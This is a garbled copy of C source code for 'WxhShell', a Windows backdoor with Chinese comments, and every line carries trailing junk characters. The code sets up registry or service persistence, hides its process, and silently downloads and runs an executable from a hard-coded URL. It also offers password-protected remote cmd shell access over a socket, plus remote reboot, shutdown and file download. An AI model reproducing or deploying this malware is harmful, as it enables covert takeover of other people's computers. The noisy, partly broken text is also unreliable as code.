    } #n7F7X  
  // 关机 zA>LrtyK(=  
  case 'd': { 2zV{I*  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); =*5< w  
    if(Boot(SHUTDOWN)) `SH14A*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &o;d  
    else { ? K,d  
    closesocket(wsh); ;!+-fn4C  
    ExitThread(0); %lnVzGP  
    } lR>p  
    break; EKD?j  
    } )ZW[$:wA  
  // 获取shell \ xJ_ )r  
  case 's': { j* ZU}Ss  
    CmdShell(wsh); yPd6{% w  
    closesocket(wsh); 8FIk|p|l^  
    ExitThread(0); 8345 H  
    break; T4nWK!}z  
  } 9+iz+  
  // 退出 !X[P)/?b0+  
  case 'x': { ,Y4>$:#n/  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); UhKd o  
    CloseIt(wsh); d=p=eUd2  
    break; Nz77" kC  
    } dq{+-XaEk  
  // 离开 7>E>`Nc6  
  case 'q': { GGs7]mhA  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Z[9t?ePL  
    closesocket(wsh); i'QR-B&Z  
    WSACleanup(); .iC!Ttr  
    exit(1); N/!(`Z,  
    break; ]$,3vYBf  
        } _P` ^B  
  } i5,yrPF  
  } Dv*d$  
cy(4g-b]@e  
  // 提示信息 <])]1r8  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |vw],r6  
} =.qX u+  
  } %Z3B9  
#tIeI6 Qw  
  return; =fy\W=c  
} ' Tk4P{  
l>?f+70  
// shell模块句柄 HUChg{[  
int CmdShell(SOCKET sock) <L('RgA@X  
{ ' GUCXx  
STARTUPINFO si; :Xs4C%H;  
ZeroMemory(&si,sizeof(si)); BM{*5Lf  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >m:n6M'r  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~>H,~</`  
PROCESS_INFORMATION ProcessInfo; o-o -'0l  
char cmdline[]="cmd";  sd"eu  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); gZ| !'  
  return 0; UcKVL zKs  
} MH|F<$42  
ifNyVE Hy  
// 自身启动模式 NcrBp(  
int StartFromService(void) !' 0PM[  
{ [C/{ru&E  
typedef struct gt9(5p  
{ &Hyy .a  
  DWORD ExitStatus; qj/Zk [  
  DWORD PebBaseAddress; WH"'Ju5}  
  DWORD AffinityMask; {<$tEj:  
  DWORD BasePriority; FUXJy{n6"2  
  ULONG UniqueProcessId; 01&@8z'E  
  ULONG InheritedFromUniqueProcessId; $NCR V:J  
}   PROCESS_BASIC_INFORMATION; 'd|!Hr<2  
BaWU[*  
PROCNTQSIP NtQueryInformationProcess; *8_Dn}u?Jx  
2+/r~LwbK  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; dW2 2v!  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; >& 4):  
-G~/ GO  
  HANDLE             hProcess; RU=\eD  
  PROCESS_BASIC_INFORMATION pbi; nLOK1@,4  
X`3_ yeQc  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 5 NC77}^.  
  if(NULL == hInst ) return 0; PJ4/E  
l=t/"M=  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ,zuS)?  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); NJSbS<O  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); o:&8H>(hn]  
xkRS?Q g  
  if (!NtQueryInformationProcess) return 0; 3d]~e  
<CB%e!~.9  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); &Nh zEl1  
  if(!hProcess) return 0; k& uh  
`zrg?  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; aOw#]pB|  
Cn{v\Q~.4  
  CloseHandle(hProcess); HI{h>g T  
~]#-S20  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); <Y6zJ#BD  
if(hProcess==NULL) return 0; `K:n=hpF  
]R>NmjAI  
HMODULE hMod; _BY+Tfol  
char procName[255]; XjCx`bX^<  
unsigned long cbNeeded; *>"NUHq  
%6%mf>Guf  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); b`$qKO  
NMfHrYHbh  
  CloseHandle(hProcess); YK[2KTlo  
&ds+9A  
if(strstr(procName,"services")) return 1; // 以服务启动 xJAQ'ANr  
kI9I{ &J&  
  return 0; // 注册表启动 }!{R;,5/n  
} \<(EV,m2  
Yi,`uJKh  
// 主模块 V9SL96'[I  
int StartWxhshell(LPSTR lpCmdLine) S-}c_zbl;  
{ M 87CP=yc  
  SOCKET wsl; ?hGE[.(eh]  
BOOL val=TRUE; =PQ4S2Q  
  int port=0; #rF`Hk:  
  struct sockaddr_in door; _WvVF*Q"k  
J}[[tl  
  if(wscfg.ws_autoins) Install(); $./aK J1B  
9r+'DX?>  
port=atoi(lpCmdLine); *r[V[9+y-D  
kX+9U"` C  
if(port<=0) port=wscfg.ws_port; 0;@>jo6,!  
d/jP2uu A  
  WSADATA data; `A%WCd60Tc  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; vb?.`B_>&  
@MVul_@6  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   +p63J  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 9Bw#VQ  
  door.sin_family = AF_INET; }eW<P079  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); mv#hy  
  door.sin_port = htons(port); 9PA<g3z  
akNqSZwj  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { r180vbN$  
closesocket(wsl); hSw=Oq82  
return 1; Ha|}Oj  
} j`"!G*Vh  
,mHUo4h1O  
  if(listen(wsl,2) == INVALID_SOCKET) { %cg| KB"l  
closesocket(wsl); .{c7 I!8  
return 1; =]-z?O6^`  
} vG'#5%,|  
  Wxhshell(wsl); 8Th,C{  
  WSACleanup(); O1c:X7lHc  
o+}k$i!6  
return 0; I/O/*^T  
Z#Kf%x.  
} yc~<h/}#  
J,)ytw]  
// 以NT服务方式启动 [|1I.AZ{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) aQ $sn<-l  
{ 2aCf?l(  
DWORD   status = 0; jk&xzJH.  
  DWORD   specificError = 0xfffffff; gN />y1{a  
|u?VlRt  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 1s@QsZ3  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; #+l`tj4b/  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; wpYk`L r  
  serviceStatus.dwWin32ExitCode     = 0; -JF^`hBD-  
  serviceStatus.dwServiceSpecificExitCode = 0; VqV[ @[P  
  serviceStatus.dwCheckPoint       = 0; hXth\e\[{`  
  serviceStatus.dwWaitHint       = 0; jzJTV4&zjs  
m N}szW,  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {eI'0==  
  if (hServiceStatusHandle==0) return; t4#gW$+^?H  
r!dWI  
status = GetLastError(); .!KsF h,pK  
  if (status!=NO_ERROR)  {Ba&  
{ y)&K9 I  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; X.;VZwT+  
    serviceStatus.dwCheckPoint       = 0; C 5gdvJN  
    serviceStatus.dwWaitHint       = 0; c/tB_]  
    serviceStatus.dwWin32ExitCode     = status; hBpa"0F  
    serviceStatus.dwServiceSpecificExitCode = specificError; O# ZZ PJ"  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); QHZ",1F  
    return; o zn&>k  
  } -grf7w^  
Y2QX<  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; zaHZ5%{LQD  
  serviceStatus.dwCheckPoint       = 0; 7$lnCvm  
  serviceStatus.dwWaitHint       = 0; clV^Xg8D  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); g?v(>#i  
} >":xnX#  
X2Z)> 10  
// 处理NT服务事件,比如:启动、停止 CUI+@|]%  
VOID WINAPI NTServiceHandler(DWORD fdwControl) &H;,,7u  
{ =oSd M2  
switch(fdwControl) Kus=.(  
{ $\h-F8|JMX  
case SERVICE_CONTROL_STOP: ap}p?r  
  serviceStatus.dwWin32ExitCode = 0; nS%jnp#  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 2L1 ,;  
  serviceStatus.dwCheckPoint   = 0; c#}K,joeU  
  serviceStatus.dwWaitHint     = 0; Ql)hIf$Oo  
  { Lcpe*C x-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )xyjQ|b  
  } WV$CZgL  
  return; 1Y'4 g3T  
case SERVICE_CONTROL_PAUSE: D;V[9E=g/  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ":Tm6Nj  
  break; Yu3S3aRE  
case SERVICE_CONTROL_CONTINUE: PtbaC6"\  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; E^F<"mL*  
  break; #mu L-V  
case SERVICE_CONTROL_INTERROGATE: "g ^i%  
  break; 43AzNXWF8  
}; v{a%TA9-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); X"r)zCP+t  
} 11yXI[  
>%U+G0Fq  
// 标准应用程序主函数 ^)gyKl:E'  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ^_bG{du  
{ J/4T=:\  
:uo1QavO@,  
// 获取操作系统版本 YK3>M"58  
OsIsNt=GetOsVer(); o?Hfxp0}  
GetModuleFileName(NULL,ExeFile,MAX_PATH); lWId 0eNS  
$5&%X'jk  
  // 从命令行安装 #,d~t  
  if(strpbrk(lpCmdLine,"iI")) Install(); .Az36wD  
}~I!'J#)  
  // 下载执行文件  h$l/wn  
if(wscfg.ws_downexe) { f)/Z7*Z  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)  l!|c_  
  WinExec(wscfg.ws_filenam,SW_HIDE); .Ix3wR9  
} :G1ddb&0+  
^}=)jLS  
if(!OsIsNt) { %PYl  
// 如果时win9x,隐藏进程并且设置为注册表启动 q`<:CfCt  
HideProc(); )r9 9zdUk  
StartWxhshell(lpCmdLine); PdcIHN  
} A#"Wk]jX  
else &$~fz":1!  
  if(StartFromService()) wGArR7r  
  // 以服务方式启动 LlQsc{ Ddf  
  StartServiceCtrlDispatcher(DispatchTable); 6L<:>55  
else 3^o(\=-JX  
  // 普通方式启动 k6Kc{kY  
  StartWxhshell(lpCmdLine); =:WZV8@%  
8v"rM >[  
return 0; ebk>e*  
} *DF3juf~  
Y.viOHL  
qk(Eyp  
\3 SY2g8+  
=========================================== Nn. 9J  
dDaV2:4E  
~`OX}h/Z  
D|LO!,=b  
y7,fFUKl  
p&<Ssc  
" U6]#RxH  
buGBqx[  
#include <stdio.h> I a&*JYM[  
#include <string.h> n$/|r  
#include <windows.h> bWswF<y-  
#include <winsock2.h> )/;KxaKt  
#include <winsvc.h> p/h\QG1   
#include <urlmon.h> Y [`+7w  
*4cuWkQ,  
#pragma comment (lib, "Ws2_32.lib") ^{+ry<rS>  
#pragma comment (lib, "urlmon.lib") 6 R6Ub 0  
$p0nq&4c  
#define MAX_USER   100 // 最大客户端连接数 G$<(>"Yr~$  
#define BUF_SOCK   200 // sock buffer 5p0~AN)  
#define KEY_BUFF   255 // 输入 buffer tDK@?PfKz  
|`T(:ZKXZ2  
#define REBOOT     0   // 重启 CY1WT  
#define SHUTDOWN   1   // 关机 + Iyyk02V  
&`D$w?beg  
#define DEF_PORT   5000 // 监听端口 U zy@\  
MKHnA|uQ](  
#define REG_LEN     16   // 注册表键长度 ]&*POri&  
#define SVC_LEN     80   // NT服务名长度 9p{ 4-]  
#t+?eye~  
// 从dll定义API G]K1X"W?  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); #I/P9)4  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Qa{5 ]+E  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); VdHT3r  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Y6jyU1>  
Q dj(D\.  
// wxhshell配置信息 0j$\k|xFXZ  
struct WSCFG { gX}'b\zxC  
  int ws_port;         // 监听端口 ;2f=d_/x  
  char ws_passstr[REG_LEN]; // 口令 n1-p/a.  
  int ws_autoins;       // 安装标记, 1=yes 0=no }je<^]a  
  char ws_regname[REG_LEN]; // 注册表键名 / ;`H )  
  char ws_svcname[REG_LEN]; // 服务名 E)v~kC}7.  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 noZbsI4  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 K.Xy:l*z  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 h3MdQlJ&  
int ws_downexe;       // 下载执行标记, 1=yes 0=no :@L7RZ`_  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" +IdM|4$\1  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Wg-mJu(  
r&u1-%%9[  
}; F @PPhzZ  
iQG!-.aX  
// default Wxhshell configuration tr0b#4  
struct WSCFG wscfg={DEF_PORT, %BI8m|6  
    "xuhuanlingzhe", P3oYk_oW  
    1, Xb _ V\b0  
    "Wxhshell", S:xXD^n#H  
    "Wxhshell", L!Jx`zM^  
            "WxhShell Service", jD S?p)&  
    "Wrsky Windows CmdShell Service", e={O&9Z  
    "Please Input Your Password: ", aHhLz>H'  
  1, f1'ByV'2  
  "http://www.wrsky.com/wxhshell.exe", uyj!$}4  
  "Wxhshell.exe" '@n"'vks(\  
    }; /`PYk]mJh  
{wS i?;[Gq  
// 消息定义模块 x ytrd.  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; A4j ,]hOD  
char *msg_ws_prompt="\n\r? for help\n\r#>"; odP<S.  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; o@Ye_aM~?Y  
char *msg_ws_ext="\n\rExit."; TegdB|y7O  
char *msg_ws_end="\n\rQuit."; Jf^3nBZ  
char *msg_ws_boot="\n\rReboot..."; )."ob=m  
char *msg_ws_poff="\n\rShutdown..."; 1$*8F  
char *msg_ws_down="\n\rSave to "; uYC^&siS<s  
9ihg[k  
char *msg_ws_err="\n\rErr!"; gwj?.7N*k  
char *msg_ws_ok="\n\rOK!"; x\yM|WGL  
}QE.|.fA1  
char ExeFile[MAX_PATH]; ;}B=g/C  
int nUser = 0; m$8siF{<q  
HANDLE handles[MAX_USER]; vl (``5{  
int OsIsNt; ,:S#gN{U  
<J8c dB!e  
SERVICE_STATUS       serviceStatus; EjPR+m  
SERVICE_STATUS_HANDLE   hServiceStatusHandle;  ][ $UN  
Y>$5j}K  
// 函数声明 e~vO   
int Install(void); <&eJIz=  
int Uninstall(void); (B#FLoK  
int DownloadFile(char *sURL, SOCKET wsh); lxn/97rA  
int Boot(int flag); 1hbQ30  
void HideProc(void); a~2Jf @I3  
int GetOsVer(void); 1j2U,_-  
int Wxhshell(SOCKET wsl); S'x ]c#  
void TalkWithClient(void *cs); rJ /HIda  
int CmdShell(SOCKET sock); VwR\"8r3  
int StartFromService(void); !}=eXDn;A_  
int StartWxhshell(LPSTR lpCmdLine); XT^=v6^H  
]}`t~#Irz  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); -jjB2xP  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); MTYV~S4/  
^#5'` #t  
// 数据结构和表定义 HNkOPz+d&8  
SERVICE_TABLE_ENTRY DispatchTable[] = r/h\>s+N  
{  (?Ku-k  
{wscfg.ws_svcname, NTServiceMain}, /JNG}*  
{NULL, NULL} $1=7^v[U  
}; <:-4GJH=  
+Xg:*b9So  
// 自我安装 7FwtBO  
int Install(void) ".jO2GO^  
{ `0upm%A  
  char svExeFile[MAX_PATH]; \3vQXt\dM$  
  HKEY key; Zbo4{.#  
  strcpy(svExeFile,ExeFile); ZK4V-?/[6  
7(/yyZQnZ  
// 如果是win9x系统,修改注册表设为自启动 aZf/WiR2  
if(!OsIsNt) { <EnmH/C.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { LJrH_h8C  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); sI\NX$M  
  RegCloseKey(key); 0\i\G|5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6jpzyf=~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +[}y` -t  
  RegCloseKey(key); @<K<"`~H  
  return 0; tGOJ4 =  
    } bWL!=  
  } }P.s  
} ]Zb9F[  
else { yBK$2to~  
WrP+n  
// 如果是NT以上系统,安装为系统服务 Rd8mn'A  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);  %LnLB  
if (schSCManager!=0) >V.?XZ nt  
{ 33%hZ`/>  
  SC_HANDLE schService = CreateService b GSj?t9/  
  ( :r{-:   
  schSCManager, zd$'8/Cq  
  wscfg.ws_svcname, YusmMsN?  
  wscfg.ws_svcdisp, MTt8O+J?P~  
  SERVICE_ALL_ACCESS, vU *: M8k  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , g?v/ u:v>W  
  SERVICE_AUTO_START, )d[n-Si  
  SERVICE_ERROR_NORMAL, jP+{2)z"W  
  svExeFile, d8Vqmrc~  
  NULL, {X?Aj >l  
  NULL, @ 2hGkJ-  
  NULL, B}qG-}(V  
  NULL, jJ"(O-<)D  
  NULL uP4yJ/]  
  ); a@g <cl7a,  
  if (schService!=0) 7 \xCNOKh  
  { q?frt3o  
  CloseServiceHandle(schService); kRggVRM  
  CloseServiceHandle(schSCManager); *L?~  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); cvw17j  
  strcat(svExeFile,wscfg.ws_svcname); &NF$_*\E  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { z*HM_u  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); '(iPI  
  RegCloseKey(key); %nJo:/  
  return 0; dr#%~I  
    } T=NLBJ  
  } y ;mk]  
  CloseServiceHandle(schSCManager); 5[g&0  
} \<I&utn  
} :V$\y up  
L%[>z'Zp  
return 1; ="G2I\  
} 7j|CWurvq  
b4:{PD~Mh  
// 自我卸载 K1YxF  
int Uninstall(void) ]U@~vA#''  
{ KrP?*yk  
  HKEY key; "T[BSj?E  
o5/BE`VD5c  
if(!OsIsNt) { aF/DFaiYv  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { xd `MEOY  
  RegDeleteValue(key,wscfg.ws_regname); 3'p 1m`8  
  RegCloseKey(key); 3LyNi$`f  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { t=eI*M+>h  
  RegDeleteValue(key,wscfg.ws_regname); UZsvYy?  
  RegCloseKey(key); N_Ezp68Fp  
  return 0; 7r:&%?2:g  
  } |FFz $'8)  
} FzOWM7+\  
} ;E{jn4B'  
else { 7Z9'Y?[m  
;t>4VA  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); =LY`K#  
if (schSCManager!=0) 9PV]bt,  
{ C-ORI}o  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); KKQT?/ {b  
  if (schService!=0) oFp1QrI3k8  
  { +hKU]DP2;  
  if(DeleteService(schService)!=0) { "Plo[E  
  CloseServiceHandle(schService); W*iTg%a\k  
  CloseServiceHandle(schSCManager); ]Ndy12,M  
  return 0; S~r75] "  
  } IAbQgBvUD  
  CloseServiceHandle(schService); >r X$E<B\  
  } D]>Z5nr |  
  CloseServiceHandle(schSCManager); y k!K 5  
} }.s%J\ckx  
} Q(A$ >A  
Dl~(NLM  
return 1; W4.w  
} NsS;d^%I  
qh W]Wd" g  
// 从指定url下载文件  7L:Eg  
int DownloadFile(char *sURL, SOCKET wsh) `uLr^G=;  
{ WnGi;AGH=1  
  HRESULT hr; Uufig)6  
char seps[]= "/"; ?zP 2   
char *token; t+d7{&B  
char *file; |d~'X%b%  
char myURL[MAX_PATH]; M^OYQf  
char myFILE[MAX_PATH]; rF}Q(<Y86  
U<F|A!Fg  
strcpy(myURL,sURL); 6.tA$#6HP  
  token=strtok(myURL,seps); gT=pO`a  
  while(token!=NULL) zqt%x?l  
  { 3H<%\SYp  
    file=token; myVa5m!7Q  
  token=strtok(NULL,seps); {d#sZT  
  } C}uzzG6s  
4dN <B U  
GetCurrentDirectory(MAX_PATH,myFILE); T)<^S(5 7  
strcat(myFILE, "\\");  96;5  
strcat(myFILE, file); sk07|9nU  
  send(wsh,myFILE,strlen(myFILE),0); DC_uh  
send(wsh,"...",3,0); J9t?;3  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 1D)0\#><  
  if(hr==S_OK) hMz)l\0  
return 0; &2.DZ),L  
else y4@gw.pt  
return 1; IP{$lC  
D=%1?8K  
} ^uG^>Om*  
]Ue aXwaU  
// 系统电源模块 ]8"U)fzmc.  
int Boot(int flag) }'}n~cA.{  
{ %${$P+a`D  
  HANDLE hToken; c zT2f  
  TOKEN_PRIVILEGES tkp; o+8H:7,o'  
4P5^.\.  
  if(OsIsNt) { vP#*if[V5  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); PPFt p3C  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); !#%>,X#+  
    tkp.PrivilegeCount = 1; }8YY8|]LI  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; / ~".GZ&29  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); <-' !I&  
if(flag==REBOOT) { s8's(*]  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) &RbP N^  
  return 0; yFeFI@Hp 3  
} { 7DXSe4  
else { a-S tOO5s  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) mrsmul{  
  return 0; ex`T 9j.=B  
} F =*4] O  
  } 31 <0Nw;l  
  else { S"?fa)~  
if(flag==REBOOT) { |ssl0/nk  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) IUEpE9_  
  return 0; #^]vhnbN  
} _OjZ>j<B.  
else { .Mb0++% W  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ?%~^PHgZ|  
  return 0; L#'XN H"  
} Gt?l 2s  
} 32HF&P+0%  
:JX2GRL4  
return 1; .vy@uT,  
} 8!.V`|@lt  
!x ~s`z  
// win9x进程隐藏模块 "P|n'Mx  
void HideProc(void) WvArppANo  
{ 5oCg&aT  
)qMbk7:v\  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); opm_|0  
  if ( hKernel != NULL ) jDQ?b\^  
  { 'nM4t  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Ye$j43b  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); <b *sn] l  
    FreeLibrary(hKernel); 9M($_2,44  
  } :2M&C+f[  
'Nt)7U>oC9  
return; bW! &n  
} ))Z>$\<:  
vR!g1gI23  
// 获取操作系统版本 Wq+GlB*  
int GetOsVer(void) 0,m]W)  
{ "@hd\w{.  
  OSVERSIONINFO winfo; #\=7A  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); vK+reXE  
  GetVersionEx(&winfo); [mjie1j/<  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) -@_v@]:  
  return 1; *{+{h;p  
  else M!i|,S  
  return 0; \5!7zPc  
} NZ i3U  
g<;::'6  
// 客户端句柄模块 |BZrV3;H  
int Wxhshell(SOCKET wsl) *IWW,@0  
{ *-5N0K<kQ  
  SOCKET wsh; `?N0?;  
  struct sockaddr_in client; {]}94T~/k  
  DWORD myID; M+VWAh#uD  
'n-y*f  
  while(nUser<MAX_USER) @j}%{Km]Y  
{ 0'Ho'wDb  
  int nSize=sizeof(client); n6WKk+  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ,I5SAd|dX  
  if(wsh==INVALID_SOCKET) return 1; J=$\-  
/QyKXg6)l  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ;XawEG7" U  
if(handles[nUser]==0) HLwMo&*rA  
  closesocket(wsh); bz#]>RD  
else `a MU2  
  nUser++; YVDFcN9v  
  } ]r|oNGD)G  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); jmk Ou5@  
%2 zmc%]r  
  return 0; NvJ5[W  
} @lE'D":?  
9|}Pf_5]%[  
// 关闭 socket ]n|Jc_Y  
void CloseIt(SOCKET wsh) 2,q*[Kh1  
{ 3)W zX  
closesocket(wsh); @0@ZlH wM  
nUser--; _i+@HXR &  
ExitThread(0); l^Rb%?4Z  
} ,.W7Z~z  
P Y^#hC5:  
// 客户端请求句柄 ?PT> V,&  
void TalkWithClient(void *cs) n^T,R  
{ _5-h\RB)  
Fa )QDBz)  
  SOCKET wsh=(SOCKET)cs; be,Rj,-  
  char pwd[SVC_LEN]; yk`qF'4]  
  char cmd[KEY_BUFF]; !o /=,ZIx  
char chr[1]; D:_W;b)  
int i,j; ccHf+=  
f 5v&4  
  while (nUser < MAX_USER) { h <LFTYE@  
FzJ7 OE |  
if(wscfg.ws_passstr) { !,m  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (jc& Fk  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); hWT jN  
  //ZeroMemory(pwd,KEY_BUFF); Kgu8E:nL  
      i=0; 4KM-$h,4O  
  while(i<SVC_LEN) { U-I,Q+[C[^  
@b,Az{EH  
  // 设置超时 9 %T??-  
  fd_set FdRead;  oBkhb  
  struct timeval TimeOut; sE pI)9  
  FD_ZERO(&FdRead); !ajBZ>Q  
  FD_SET(wsh,&FdRead); !@=S,Vc.  
  TimeOut.tv_sec=8; Cq\XLh `  
  TimeOut.tv_usec=0; < (xqw<)  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); y?<KN0j  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); %y6(+I #P  
^viabkf C  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _p-e)J$7  
  pwd=chr[0]; &J>e; X  
  if(chr[0]==0xd || chr[0]==0xa) { \wK&wRn)  
  pwd=0; f"ndLX:'}  
  break; q!ZM Wg  
  } |58HPW9  
  i++; @Vre)OrN#  
    } 0<uek  
Ek_5% n  
  // 如果是非法用户,关闭 socket hIJtu;}zU  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); }5;4'l8  
} >rCD5#DG  
{o}U"b<+Ra  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); )L:z r#  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); I=y7$+7%  
><<>4(eF p  
while(1) { @NLcO}  
gM&IV{k3  
  ZeroMemory(cmd,KEY_BUFF); ?b;2 PH"  
$Nu{c;7"  
      // 自动支持客户端 telnet标准   F8f}PV]b  
  j=0; h'y%TOob  
  while(j<KEY_BUFF) { X-c|jn7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  w4U,7%V  
  cmd[j]=chr[0]; y{%0[x*N<m  
  if(chr[0]==0xa || chr[0]==0xd) { D'g,<-ahl  
  cmd[j]=0; 0MWW( ;  
  break; 7n7Xyb  
  } K^u,B3  
  j++; TN(Vzs%  
    } Bf ut mI  
$DY#04Je\=  
  // 下载文件 ?jmP] MM  
  if(strstr(cmd,"http://")) { tT}b_r7h(1  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); V8^la'_j  
  if(DownloadFile(cmd,wsh)) Xs0)4U  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q{l,4P  
  else u<-)C)z  
